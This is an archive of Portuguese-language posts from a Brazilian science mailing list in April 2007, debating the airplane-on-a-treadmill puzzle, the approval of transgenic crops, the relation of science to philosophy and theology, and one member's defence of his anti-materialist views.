> Para os usuários, todo objeto é subjetivo, ou seja,
> tem sua finalidade de acordo com as intenções do
> usuário (e não do criador do objeto). Por exemplo,
> suponhamos que o inventor do objeto-panela inventou a
> panela para a finalidade de cozinhar. Muito bem, um
> usuário chamado "menino maluquinho", descobriu para o
> objeto de finalidade objetiva-cozinha, a finalidade
> subjetiva-boné.
>
> --- Analogamente, eis a vida humana. Já que
> desconhecemos a finalidade-objetiva de existirmos,
> então vamos postular finalidades subjetivas: jogar
> futebol, rezar, brigar na lista de ciências, comer
> caramujos com garfo, resolver problemas de matemática,
> palitar os dentes, tocar guitarra na MTV, etc... No
> meio desta confusão, até conseguimos esquecer da
> pergunta. A Trinity diz algo assim ao Neo: "É a
> pergunta Neo. É a pergunta que te faz caminhar. É a
> pergunta que te trouxe até aqui. É a pergunta que vai
> te levar até onde precisa chegar." E como disse ao
> Homero, não adianta fugir, nem mentir pra si mesmo:
> você é a pergunta, como fugir de si mesmo? Eis a
> esfinge falando conosco de instante em instante:
> decifra-me ou devoro-te! Abre a carta ou te devoro!
>
> Jeff >>> Mas, se você inverte a ordem, consegue
> explicar sem precisar de nada controlando, saca?
>
> --- Eis a teoria do caos. Caos não existe. O que o ser
> humano chama de caos é desconhecimento. Ande pela casa
> no escuro, é um caos. Acenda a luz, o caos acaba. A
> realidade mudou? Não. Pra onde foi o caos que estava
> ali? Pra lugar nenhum, ele nunca existiu, o que
> existia era o desconhecimento. A falta de percepção. A
> teoria do caos é apenas um "ad hoc" para poder
> justificar o materialismo. O cosmos é cosmos, é ordem.
> O caos é o desconhecimento do cosmos, o
> desconhecimento da ordem, só isto.
>
> Jeff >>> Então a verdade já vem "de fábrica" no nosso
> inconsciente? "Deus" colocou
> alí pra gente procurar?
>
> --- Eis a graça do jogo. Você é obrigado a procurar,
> mas o ato de procurar é o seu prazer. Uma vez dentro
> de um jogo, somos obrigados a jogar, porém o ato de
> jogar é o nosso prazer. Ser obrigado a pensar a
> pergunta é entrar no jogo de procurar a resposta.
>
> Jeff >>> Então a verdade já vem "de fábrica" no nosso
> inconsciente?
>
> ---- Eis porque digo que a chave somos nós mesmos. Os
> cientistas materialistas procuram em tudo quanto é
> lugar, não é mesmo? Nos buracos negros, nos átomos!
> Menos no lugar mais óbvio, em si mesmos. Tremenda
> ironia de deus, não?
>
> --- Me lembrei de uma parábola que descreve bem isto.
> O cara está procurando a chave da casa na rua. Chega o
> vizinho e pergunta: "você perdeu a chave por aqui,
> posso ajudar?". O cara responde: "eu perdi a chave lá
> dentro de casa mesmo". O vizinho pergunta: "então
> porque está procurando a chave aqui na rua?". E o cara
> responde: "porque aqui está mais iluminado". Ora, não
> adianta ficar procurando as respostas da existência no
> materialismo, só porque "aqui está mais iluminado".
> Tem que encarar a escuridão de frente. Mas quem não
> tem medo do escuro? Do desconhecido? Do novo? Melhor
> é ficar na zona de conforto, não é mesmo?
>
> Jeff >>> Nem a ciência tem dono.
>
> --- Diz isto pros cientista materialistas. Eu concordo
> com você.
>
> Jeff >>> Qualquer um que consegue raciocinar sem
> faltar com a lógica faz ciência.
>
> --- Também concordo.
>
> Jeff >>> Não acho que você seja incapaz disso, mas
> acho que você busca ter satisfação com suas
> conclusões, o que implica em direcionar o raciocínio
> dando "saltos lógico" e desconsiderando fatos.
>
> --- Respeito sua opinião. Mas não concordo. Não é
> saltos lógicos, é relações analógicas. E não
> desconsidero fatos, apenas não os observo através de
> um paradigma materialista.
>
>
>
> sinceramente
> ferrari
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
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SUBJECT: Re: [ciencialist] Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/04/2007 22:44

Homero, vc está deixando de visualizar o principal: onde está localizado o
ponto de referência que vc está usando para medir as velocidades da esteira
e do avião? Quando esse ponto está no solo-terra o avião voa. Quando vc
conseguir visualizar um ponto de referência na própria esteira para efetuar
a medida das velocidades, vc vai entender essa outra possibilidade que o
problema apresenta.
[]s
JR
.................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 05, 2007 3:42 PM
Subject: [ciencialist] Re: Balanço do avião


Olá Renato

Apesar da "preguiça" que este assunto me causa depois de tanta
discussão, pensei em uma forma de usar seu exemplo para tentar, mais
uma vez, explicar seu engano.

Vamos pegar a diligência, que está sobre a esteira, e que se mantém
parada devido a uma corda amarrada em sua frente, e na parede logo
adiante. Pode ver a situação com clareza? É importante entender cada
força envolvida neste exemplo.

A diligência, com suas rodas girando devido a rolagem da esteira para
tras, se mantém parada. Não importa o quanto a esteira rola, nem sua
velocidade, ela se mantém parada apenas pela força da corda amarrada
na parede em frente. Nem precisa ser uma corda muito forte, precisa
apenas compensar o atrito dos rolamentos.

É importante notar que, se o atrito pudesse ser ZERO, NEM SERIA
NECESSÁRIA UMA CORDA..:-) Entende isso, Renato? Se o atrito dos
rolamentos das rodas fosse zero, a diligência poderia ser posta sobre
a esteira, e esta poderia rolar para tras ou para frente, a qualquer
velocidade, sem necessidade de uma corda ou qualquer tipo de força
para manter a diligência parada.

Voltemos ao exemplo. A diligência está parada, a esteira rola para
tras, e nada se move. Mas um sujeito resolve ir para tras da
diligência e, apoiado na parede "atras" desta, aplica uma força na
diligência, no sentido contrário a rolagem da esteira. Ele "empurra" a
diligência.

O que acontece, Renato? A diligência "anda" para frente, não? Não
importa, e talvez agora entenda isso, que a esteira seja "acelerada"
para compensar esse movimento, a diligência ANDA para frente e pode
até sair da esteira, pois a força aplicada a ela se apoia na parede, e
não há como a esteira compensar essa força!

Acelerar a esteira apenas vai fazer as rodas girarem mais rápido, já
que representam, NÃO A TRAÇÃO, mas o movimento somado dos dois objetos
em que está em contato, esteira e diligência.

É isso que acontece com um avião! Ele tem como propulsão uma "parede",
o jato ou hélice, as forças de ação e reação, etc, e nada que a
esteira faça pode impedir o avião de se mover para frente ao ligar a
propulsão, nem se ela acelerar na mesma velocidade deste!

Espero que, finalmente, entenda o problema. E entenda que a questão da
relatividade NADA tem a ver com este problema, nem a questão de em
relação ao que, esteira ou solo, se dá o movimento do avião (ou da
diligência).

Mas se não entender, acho que não há mais nada que se possa fazer.

Homero




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13:09



SUBJECT: Transgênicos. Afinal, quem diz o quê?
FROM: Luiz Carvalho <lercarvalho@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/04/2007 03:07

Reply-To: ciencialist@yahoogrupos.com.br
X-Yahoo-Newman-Property: groups-email-ff


Afinal, os dados científicos apontam para um uso sem perigos ou isto é falácia? O Greenpeace tem razão de chiar, ou chia só para fazer barulho e terem o que fazer? Como fica esse embate? Tenho cá minhas conclusões, mas gostaria de ler as dos experts da lista. Êta joguinho da corda, sem fim!
Uso já há algum tempo muitos produtos derivados da soja. Se são transgênicos ou não, não sei. Nem quero.

Sds,
Victor.



Victor,


O conflito que você assiste não é sobre fazer mal ou não.


O conflito é sobre os procedimentos da CTNBio para liberar ou não.



Lá não tem nenhum expert em Biossegurança.


E o Bio de CTNBio não é de Biotecnologia, mas de Biossegurança.


Lá só tem conflito de interesses e sacanagem.



Eles aprovam no grito e no braço, sem os estudos de impacto ambiental que deveriam ter sido feitos e não foram.


Tem um texto meu no site da CTNBio, que inscrevi para a Audiência Pública que ocorreu dia 20 de março, no Senado.


Mas eles só deixaram falar quem era a favor...
ou quem era contra, mas de ONG, tipo Mulheres Camponesas, MST, Greenpeace.
Com isso, tentam criar essa imagem... de que os cientistas são a favor e os ongueiros são contra.
Não é assim.


O Eduardo Suplicy foi lá no Auditório pedir pra deixarem os quatro cortados falar: um era eu, tudo bem, sou fã do Ferrari, não mereço respeito ou consideração... tá limpo... mas os outros eram um Titular da Genética da UnB, outro Titular da Fiocruz, outro... Titular aposentado da UFRGS, o Lewgoy, que ficou substituindo o Lutzemberger quando este morreu.


Não adiantou o Suplicy ir lá pedir.
Só falou quem a CTNBio deixou.


Eu ainda vou escrever sobre isso quando arrumar o tempo que o Ferrari tem.


L.E.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/04/2007 10:10

Professor, esclareço melhor meu comentário.
Discordei de vc quanto ao motivo de não haver conflito entre Ciência,
Filosofia e Teologia. Não é porque elas não tenha relação causal entre si,
mas sim e exatamente por elas terem como objetivo direto ou indireto o
entendimento do mundo pela humanidade. Os caminhos podem ser diferentes mas
apontam ou deveriam apontar a uma mesma direção: a humanidade. Os desvios
ocorrem em todas elas, o que não invalida suas diversas linguagens para um
melhor entendimento da presença da humanidade no universo.
[]s
JR
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 06, 2007 7:51 AM
Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa
doparadoxo


Olá José Renato,

Eu não me lembro de ter dito que havia algum conflito entre elas ("De
fato, não há nenhum conflito entre Ciência, Filosofia e Teologia, pois
cada uma trata de uma coisa que não tem nenhuma relação causal com a
outra."), os "conflitos" parecem surgir quando se confundi uma com
outra. Também não disse nada contra nossa liberdade de pensar,
imaginar ou "viajar na maionese" tentando criar um outro mundo onde
ciência, filosofia e teologia sejam tudo um só balaio de gatos, só não
confundo essa liberdade com os "fatos". E os fatos são claros para
mim: ciência lida com a realidade física, filosofia com o mundo das
idéias do universo de valores humanos e teologia com uma fantasia que
sustenta milhares de "padres e pastores" a troco de nada. :)

O Bulcão (esqueci de citar ele na lista dos "expulsáveis", he he) fez
uma alusão a uma "faixa cinza" (ou algo assim) que representaria os
limites entre uma coisa e outra. Eu não modelo a realidade usando
faixas de transição entre a lei da gravidade de Newton e a teoria do
lugar natural de Aristóteles e não aceito esse argumento como
validador para especulações sobre a convergência entre áreas
distintas, mas não posso impedi-lo de aceitar. Por isso mesmo disse
que em determinados momentos toda essa nossa conversa perde
completamente o sentido, pois enquanto "eu peço uma coca-cola, ela
pensa em casamento..." ("Sem lenço nem documento").

Então é isso José Renato. Temos crenças diferentes sobre esses temas.
Rezemos aos nossos deuses em templos separados. :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu

Caro Prof. José Carlos, não há conflitos entre Ciência, Filosofia e
Teologia porque todas tratam - ou deveriam tratar - daquilo que somos.
Entender isso é fácil: somos a referência de tudo o que constatamos
na realidade. São esses conhecimentos que nos ensinam sobre a
existência da humanidade e de sua sobrevivência em um paraíso que
não conseguimos preservar por falta de sapiência em perceber o que vc
disse em mensagem a Homero: aprender ciência é aprender sobre humanidade.
Não dá para separar uma da outra.
[]s
José Renato
.................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Thursday, April 05, 2007 12:52 AM
> Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em
defesa
> doparadoxo
>
>
> Homero,
>
> Aproveitando a deixa e o fato de que estou lendo as todas mensagens
> dessa semana, vou sugerir uma técnica diferente de argumentação que
> tenho usado e tem dado certo contra esses pecadores:
>
> De fato, não há nenhum conflito entre Ciência, Filosofia e Teologia,
> pois cada uma trata de uma coisa que não tem nenhuma relação causal
> com a outra. A Ciência se preocupa com o mundo físico onde existimos e
> tem as melhores respostas para explicar seus fenômenos; a Filosofia
> trata de um outro mundo, o mundo das idéias sobre conceitos
> subjetivos como ética, moral, arte, beleza e outras coisas
> incomensuráveis e; por fim, a Teologia é uma disciplina que trata de
> devaneios malucos sobre coisas estranhas de um universo fictício que
> só servem para justificar o dízimo pago pelos crentes.
>
> Experimente usar isso, você vai ver como funciona. :)
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@> escreveu
> >
> > Olá Renato
> >
> > Renato: "Não há conflito entre Ciências, Filosofia, Teologia como
> > muitos pensam."
> >
> > Não é conflito, é guerra mesmo. Não apenas são incompatíveis, ciência
> > e teologia, como mutuamente excludentes e contraditórias. A teologia,
> > a religião, a fé, vivem sustentadas pelo pensamento mágico, falhas de
> > percepção humanas, desejos subjetivos e credulidade, enquanto a
> > ciência só existe porque deixou de lado todas essas coisas.
> >
> > Em especial, o pensamento mágico, a crença irracional em seres
> > imaginários, e a fé na interferência desses seres no universo físico.
> >
> > Deuses são incompatíveis com leis da física.
> >
> > Cientistas não rezam para que os elétrons mudem de órbita, nem para
> > que a lei da gravidade não falhe durante um experimento. Aprendemos
> > que ela não o fará, pois não há nenhuma intenção ou interferência em
> > sua ação.
> >
> > Mesmo valores ético-morais independem de religião ou teologia, e
> > podem, devem, ser construídos a partir da razão e da vontade humana.
> > Deixar as religiões para tras é uma vantagem que não se pode
> > subestimar, em se tratando de civilização e ética humana.
> >
> > No máximo, deixemos a filosofia lidar com os problemas subjetivos,
> > impedindo a teologia (qualquer das milhares existentes, e mutuamente
> > conflitantes) de distorcer e confundir essas questões.
> >
> > Homero



SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/04/2007 11:07

Renato:
boas palavras.
Rezemos para que o bom deus jamais entre num laboratório.

sds.,
silvio.
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, April 07, 2007 10:10 AM
Subject: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa doparadoxo


Professor, esclareço melhor meu comentário.
Discordei de vc quanto ao motivo de não haver conflito entre Ciência,
Filosofia e Teologia. Não é porque elas não tenha relação causal entre si,
mas sim e exatamente por elas terem como objetivo direto ou indireto o
entendimento do mundo pela humanidade. Os caminhos podem ser diferentes mas
apontam ou deveriam apontar a uma mesma direção: a humanidade. Os desvios
ocorrem em todas elas, o que não invalida suas diversas linguagens para um
melhor entendimento da presença da humanidade no universo.
[]s
JR
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 06, 2007 7:51 AM
Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa
doparadoxo

Olá José Renato,

Eu não me lembro de ter dito que havia algum conflito entre elas ("De
fato, não há nenhum conflito entre Ciência, Filosofia e Teologia, pois
cada uma trata de uma coisa que não tem nenhuma relação causal com a
outra."), os "conflitos" parecem surgir quando se confundi uma com
outra. Também não disse nada contra nossa liberdade de pensar,
imaginar ou "viajar na maionese" tentando criar um outro mundo onde
ciência, filosofia e teologia sejam tudo um só balaio de gatos, só não
confundo essa liberdade com os "fatos". E os fatos são claros para
mim: ciência lida com a realidade física, filosofia com o mundo das
idéias do universo de valores humanos e teologia com uma fantasia que
sustenta milhares de "padres e pastores" a troco de nada. :)

O Bulcão (esqueci de citar ele na lista dos "expulsáveis", he he) fez
uma alusão a uma "faixa cinza" (ou algo assim) que representaria os
limites entre uma coisa e outra. Eu não modelo a realidade usando
faixas de transição entre a lei da gravidade de Newton e a teoria do
lugar natural de Aristóteles e não aceito esse argumento como
validador para especulações sobre a convergência entre áreas
distintas, mas não posso impedi-lo de aceitar. Por isso mesmo disse
que em determinados momentos toda essa nossa conversa perde
completamente o sentido, pois enquanto "eu peço uma coca-cola, ela
pensa em casamento..." ("Sem lenço nem documento").

Então é isso José Renato. Temos crenças diferentes sobre esses temas.
Rezemos aos nossos deuses em templos separados. :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu

Caro Prof. José Carlos, não há conflitos entre Ciência, Filosofia e
Teologia porque todas tratam - ou deveriam tratar - daquilo que somos.
Entender isso é fácil: somos a referência de tudo o que constatamos
na realidade. São esses conhecimentos que nos ensinam sobre a
existência da humanidade e de sua sobrevivência em um paraíso que
não conseguimos preservar por falta de sapiência em perceber o que vc
disse em mensagem a Homero: aprender ciência é aprender sobre humanidade.
Não dá para separar uma da outra.
[]s
José Renato
.................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Thursday, April 05, 2007 12:52 AM
> Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em
defesa
> doparadoxo
>
>
> Homero,
>
> Aproveitando a deixa e o fato de que estou lendo as todas mensagens
> dessa semana, vou sugerir uma técnica diferente de argumentação que
> tenho usado e tem dado certo contra esses pecadores:
>
> De fato, não há nenhum conflito entre Ciência, Filosofia e Teologia,
> pois cada uma trata de uma coisa que não tem nenhuma relação causal
> com a outra. A Ciência se preocupa com o mundo físico onde existimos e
> tem as melhores respostas para explicar seus fenômenos; a Filosofia
> trata de um outro mundo, o mundo das idéias sobre conceitos
> subjetivos como ética, moral, arte, beleza e outras coisas
> incomensuráveis e; por fim, a Teologia é uma disciplina que trata de
> devaneios malucos sobre coisas estranhas de um universo fictício que
> só servem para justificar o dízimo pago pelos crentes.
>
> Experimente usar isso, você vai ver como funciona. :)
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@> escreveu
> >
> > Olá Renato
> >
> > Renato: "Não há conflito entre Ciências, Filosofia, Teologia como
> > muitos pensam."
> >
> > Não é conflito, é guerra mesmo. Não apenas são incompatíveis, ciência
> > e teologia, como mutuamente excludentes e contraditórias. A teologia,
> > a religião, a fé, vivem sustentadas pelo pensamento mágico, falhas de
> > percepção humanas, desejos subjetivos e credulidade, enquanto a
> > ciência só existe porque deixou de lado todas essas coisas.
> >
> > Em especial, o pensamento mágico, a crença irracional em seres
> > imaginários, e a fé na interferência desses seres no universo físico.
> >
> > Deuses são incompatíveis com leis da física.
> >
> > Cientistas não rezam para que os elétrons mudem de órbita, nem para
> > que a lei da gravidade não falhe durante um experimento. Aprendemos
> > que ela não o fará, pois não há nenhuma intenção ou interferência em
> > sua ação.
> >
> > Mesmo valores ético-morais independem de religião ou teologia, e
> > podem, devem, ser construídos a partir da razão e da vontade humana.
> > Deixar as religiões para tras é uma vantagem que não se pode
> > subestimar, em se tratando de civilização e ética humana.
> >
> > No máximo, deixemos a filosofia lidar com os problemas subjetivos,
> > impedindo a teologia (qualquer das milhares existentes, e mutuamente
> > conflitantes) de distorcer e confundir essas questões.
> >
> > Homero






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Questão de Ordem - Direito de Defesa
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/04/2007 12:06

Olá JR!

>>> Aguardo sua resposta que depois poderá ser postada
na lista. O tema me é fascinante e vez em quando posto
um artigo que serve de base para desenvolvê-lo.
Provavelmente vc já viu por aí, tem o título Uma
Questão de Tempo.

--- Ok

>>> Vc tem acompanhado a questão do avião sobre a
esteira?

--- Não. tem muito email pra responder dos outros
temas. Porque?


--- Será que poderia encaminhar este email de direito
de defesa pra mim. Porém, só faça isto se achar que
mereço e que vc deve fazer. Se não, tudo bem.


grato
ferrari


- - - - - - - -

Olá lista!

Um colega integrante da nossa lista me mandou um email
em PVT. Estou respondendo aqui porque creio que as
perguntas e criticas que ele me fez, e minhas
respostas a elas, podem esclarecer as acusações
generalizadas das quais sou acusado, e que ao meu ver,
são injustas. Assim, este email e uma questão de ordem
e direito de defesa. Não vou dizer o nome do
integrante, pois se ele me criticou em PVT suponho que
ele não queira que vcs saibam quem é ele. No lugar do
nome dele vou escrever "listeiro", ok? Envio este
email com o intuito de demonstrar que não estou aqui
pra me predispor com ninguém, nem falar sobre
dogmatismo religioso, ou filosofico. Pelo contrário,
participo desta lista a muitos anos e sou avesso a
qualquer tipo de dogmatismo, inclusive cientifico. Se
estou me manifestando atualmente da forma que estou,
reforço que minha motivação (como disse ao Takata) é
ser útil, se possivel, e a quem for possivel. Sendo
assim, vamos a mensagem:

Ps: suponho que o moderador inibiu minha capacidade de
postar, por isto pedi ao JR.

Olá amigo listeiro!

Listeiro >>> Não te responder foi apenas um
posicionamento claro. Não falando, falei o que
realmente queria dizer. Que não acho legal seguir
neste tipo de discussão na lista.

--- Listeiro, entendo e respeito. Mas não concordo. A
ciência precisa sair do paradigma materialismo e quem
impede isto são os cientistas e não a ciência,
entende? Se você re-observar minhas manifestações na
lista, verá que em nenhum momento estou falando nada
da ciência (em si), mas sim dos cientistas e do
paradigma materialista. Ou seja, eu estou indo na base
da coisa, na causa do paradigma materialista que são
as crenças dos cientistas. Faço isto porque é ai que
está o problema que tem limitado o avanço dos novos
cientistas e dos novos paradigmas. Na lista estão os
cientistas, novos e tradicionais. Aos tradicionais,
precisamos questionar seus tradicionais paradigmas,
aos novos, precisamos estimula-los a produzir novos e
não apenas a decorar os tradicionais. Eis porque julgo
que é importante este tipo de debate. No fim, se os
tradicionais mapas estiverem certos, se eles forem
verdadeiros, porque temer? A verdade sempre prevalece,
não é mesmo?

Listeiro >>> O ponto é que essa é tradicionalmente
uma lista de ciência convencional. Se saímos um pouco
do rumo, com alguma freqüência, isso não faz mal a
ninguém. Mas se as mensagens que tratam de assuntos,
muitas vezes interessantes, mas fora deste contexto de
ciência que estamos acostumados (utilizado pela
lista), começam a ser a grande maioria das mensagens,
significa que muitos querem discutir um pouco do
assunto, ou poucos querem discutir muito. Mas perdemos
o foco e o ganho de termos listas por assunto.

--- Primeiro: será que é mesmo uma lista de ciência
convencional? Ou será que é uma lista onde só os
tradicionais tem voz. Pois quando alguém fala um “a”
que sai do “convencional” logo as autoridades caem
matando de pau. Que lista de ciências é esta? Onde uma
lista de ciência espera chegar assim, no mesmo lugar
comum de sempre? Na ciência família e propriedade?

--- Segundo: ciência convencional? Tá vendo como os
cientistas querem ser donos da ciência? Estão sempre
querendo convenciona-la aos seus interesses. A ciência
não é propriedade de nenhum cientista. Se a pessoa
quer ser convencional, tudo bem. Mas o que a ciência
tem a ver com isto? Deixa a ciência ser o que ela é:
instrumento humano de investigação.

Listeiro >>> Quando as pessoas entram em uma lista de
X, de uma coisa temos certeza (quase sempre): ele
gosta e quer discutir X. Ele pode não se pronunciar um
tempo, mas estará sempre acompanhando com algum
interesse. Quando começamos outros assuntos, que não
X, começam a ser dominantes na lista, no máximo
supomos que alguns gostam e outros não de Y. A
tendência é afastar e tirar o interesse daqueles que
não queriam estar discutindo Y. Por isso, e outras
razões, a maioria das listas tem moderadores.

--- Este seu argumento não procede, e você sabe que
não. O que estou discutindo com os listeiros da
ciencialist é o que tem de mais fundamental na ciência
“o método cientifico”. Só que não tem como compreender
o “método cientifico” sem compreender também o seu
aplicador “o cientista”. É só isto que estou dizendo.
É só isto que ninguém quer admitir, e fica irritado
quando aponto.

Listeiro >>> Não acho que você esteja discutindo
ciência.

--- Não estou mesmo. Em nenhum momento estive. Nem vou
estar. Ciência não se discute, se faz. Assim como
música não se discute, se faz. O que estou discutindo
é “o método cientifico”.

Listeiro >>> O que você chama de ciência materialista,
eu chamo de ciência.

--- A ciência não é materialista. Materialismo é uma
crença, não é uma coisa. A ciencia não tem como ser
materialista, é impossível. A ciência é um processo
dentro da realidade e a realidade não é material, é
real. Contudo, a mente dos cientista, que também não é
material, é habitada por este paradigma “o
materialismo”. E é assim que, apesar de nada na
realidade ser material, passa a ser, embora não sendo.
Entende o que estou dizendo?

Listeiro >>> Você levanta algumas questões filosóficas
importantes. Não são nenhuma novidade, nem precisam
ser (vc nunca disse que eram, apenas agiu como tal).
Mas a maior parte do tempo só diz coisas para as quais
não vejo nenhum valor.

--- Ok, respeito. Estou aqui debatendo pra ser util a
quem acha que o que digo tem valor. Se as pessoas
respondem indignadas está longe do meu controle. Se
respondo é pra esclarecer o que afirmo, não para
confundir, impor, ou criar confusão. Pelo contrário,
exponho para ser útil, e respondo sobre o que exponho
para continuar sendo útil.

Listeiro >>> Na sua opinião, não sou ainda capaz de
entender o valor inerente.

--- Sempre digo o contrário, que todos podem
compreender. Mas que muitos não querem. É isto que
digo. Se você quiser compreender o que aponto, você
não só pode, como já sabe. Se não soubesse eu não
teria como lhe mostrar. Assim como não faria sentido
eu lhe mostrar as cores se você fosse cego. Mas meu
limite é apontar, ver é com você.

Listeiro >>> na minha opinião, faltam argumentos
válidos. E podemos discutir mais sobre isso, se você
quiser.

--- Sim, me diga o porque desta sua opinião. Se você
puder exemplificar ficará mais produtivo ainda o
debate sobre esta sua opinião.

Listeiro >>> Temos uma diferente concepção de
realidade. E também podemos discutir isso, se você
quiser.

--- Sim, claro! Você pode começar apontando as
diferenças. Ou então, me dizendo qual é a sua
concepção.

Listeiro >>> mas afirma categoricamente (com uma certa
prepotência até), que eu não sei o que é isso ou
aquilo e que você sabe. E que um dia eu, talvez,
perceba que isso que você sabe é a verdade verdadeira,
absoluta. Entende?

--- A suposta prepotência é só provocação. A afirmação
de que eu sei e o Homero não sabe, também é provocação
pra ver se ele abre a carta do materialismo. Mas não
significa que eu não saiba o que estou dizendo. Sim,
sei sim. Mas o que sei? Sei o que é fazer ciência.
Negar isto seria tão incongruente como negar que sei o
que é azul, o que é doce, etc. Não tem porque negar.
Mas também não sei mais do que ninguém. Todo os seres
humanos sabem o que eu sei, assim como todo ser humano
sabe o que é azul, doce, etc. Ou seja, não tem nenhum
segredo nem nenhuma verdade absoluta no que eu sei,
apenas me interesso por fenomenos que todos sabem,
conhecem, mas geralmente não dão nenhuma atenção: o
processo da ciencia (saber).

Listeiro >>> Te falta um pouco de humildade.

--- Respeito sua opinião. As vezes minha franqueza é
confundida como falta de humildade. Por outro lado, se
eu fizer esforço para ser humilde, a humildade vai ser
falsa e a franqueza vai por água abaixo, não é? Sendo
assim, faço esforço apenas para ser franco e assumo as
conseqüências.

Listeiro >>> A sua verdade não é necessariamente a
verdadeira. Na verdade não acredito nessa tal verdade
absoluta. Você talvez também fale que não acredita,
mas não será coerente com sua observação acima.

--- Tem algumas coisas ai:

--- 1) Sim, por ser obrigado a pensar, meu pensamento
deduz que existe sim uma realidade maior do que ele
(que vc chama de absoluta) que lhe obriga a continuar
pensando.

--- 2) Isto não significa que o conhecimento da
realidade produzido pelo pensamento é a realidade. Eu
sei que não é.

--- 3) É melhor separar os termos: verdade e
realidade. Verdade tem a ver com o conhecimento da
realidade (ser), realidade tem a ver com a realidade
(em si), com o ser (em si).


sinceramente
ferrari







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SUBJECT: Re: [ciencialist] Re: Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/04/2007 13:10

Marcelo, seu raciocínio está correto. É o mesmo do Homero e eu concordo com
vcs. Nesse arranjo que podemos chamar de 1, as velocidades da esteira e do
avião são medidas em relação a um ponto de referência no solo-terra-'fixo".
Vc já percebeu e expressou um item importante desse caso ao dizer que "as
rodas giram com o dobro da velocidade do avião e da esteira em relação ao
solo". Mesmo assim, nesse caso 1, as velocidades da esteira e o avião
*são iguais* quando medidas em relação ao solo, "fixo na terra".

No arranjo 2, que não estou conseguindo passar a vcs, em as medidas são
feitas a partir de um ponto de referência posicionado na própria esteira,
as velocidades *têm de ser iguais*, conforme o enunciado.
Nesse caso 2, as rodas, o esqui ou a fuselagem do avião *não podem mais"
girar ou se deslocar sobre a esteira-pista com o dobro da velocidade com
que ela se desloca para trás... Nem em velocidade diferente da do avião.

[]s

José Renato
...............................................

From: "Marcelo Cortimiglia" <cortimiglia@To:
<ciencialist@yahoogrupos.com.br>
Sent: Friday, April 06, 2007 3:58 PM
Subject: Re: [ciencialist] Re: Balanço do avião


Jose Renato,
mesmo que a esteira esteja livre, ela simplesmente nao consegue
balancear o empuxo das turbinas ou helices do aviao. O aviao se
desloca para frente, com relacao ao solo e a esteira, e decola. As
rodas giram com o dobro da velocidade do aviao e esteira em relacao ao
solo. Nao importa o referencial, o aviao decola.

Abracos,
Marcelo Cortimiglia


Em 06/04/07, José Renato <jrma@terra.com.br> escreveu:
>
>
>
>
>
>
> Olá, Homero!
>
> Parece-me que vc está bloqueado. Creio que é pelo fato de vc já ter
> "definido" que eu estou errado. A partir dessa "definição" qualquer coisa
> que eu escreva não será considerada em seus raciocínios.
>
> Se for isso, peço sua ajuda. Afaste por instantes essa "definição" e
> considere as informações abaixo. Caso contrário será um monólogo
> inconclusivo. Pausa...
>
> Respire, relaxe e vamos resolver esse desafio:
>
> 1. Quando um avião decola numa pista-esteira e sua velocidade é medida em
> relação ao solo-pista, utilizando aparelhos de navegação tipo GPS, o avião
> voa. Nesse caso, está se considerando o solo "fixo" ou "parado" como
> referência e o que se move é o avião.
>
> 2. Agora vamos medir a velocidade do avião em relação ao piso-esteira, que
> deve se movimentar na mesma velocidade do avião, só que em sentido
> contrário.
> Para melhor entendimento, pense no avião decolando sobre a pista-esteira
> parada, velocidade zero. Acelera as turbinas, solta os freios e inicia a
> decolagem. Após 10 segundos o avião atinge a velocidade de 100 km/h.
> Lembrar
> que a correia deveria estar também a 100 km por hora, mas como ela não
> está
> nesse tempo de 10 segundos o avião se deslocou para frente 1000 metros
> sobre
> a esteira parada e, conseqüentemente, também em relação ao solo-terra e ao
> ar.
> Se a esteira-pista estivesse ligada e rolando em sentido contrário na
> mesma
> velocidade do avião - conforme o enunciado do problema - após esses 10
> segundos teria se deslocado também 1000 metros para trás, "trazendo" ou
> mantendo o avião ao/no mesmo ponto inicial de decolagem. Nesse caso a
> velocidade do vento nas asas do avião é praticamente zero, insuficiente
> para
> fazê-lo alçar vôo. É como se ele continuasse "estacionado" na
> pista-esteira.
>
> Abraços
>
> José Renato
> .................................................
>
> From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, April 05, 2007 3:25 PM
> Subject: [ciencialist] Re: Balanço do avião
>
>
> Olá Renato
>
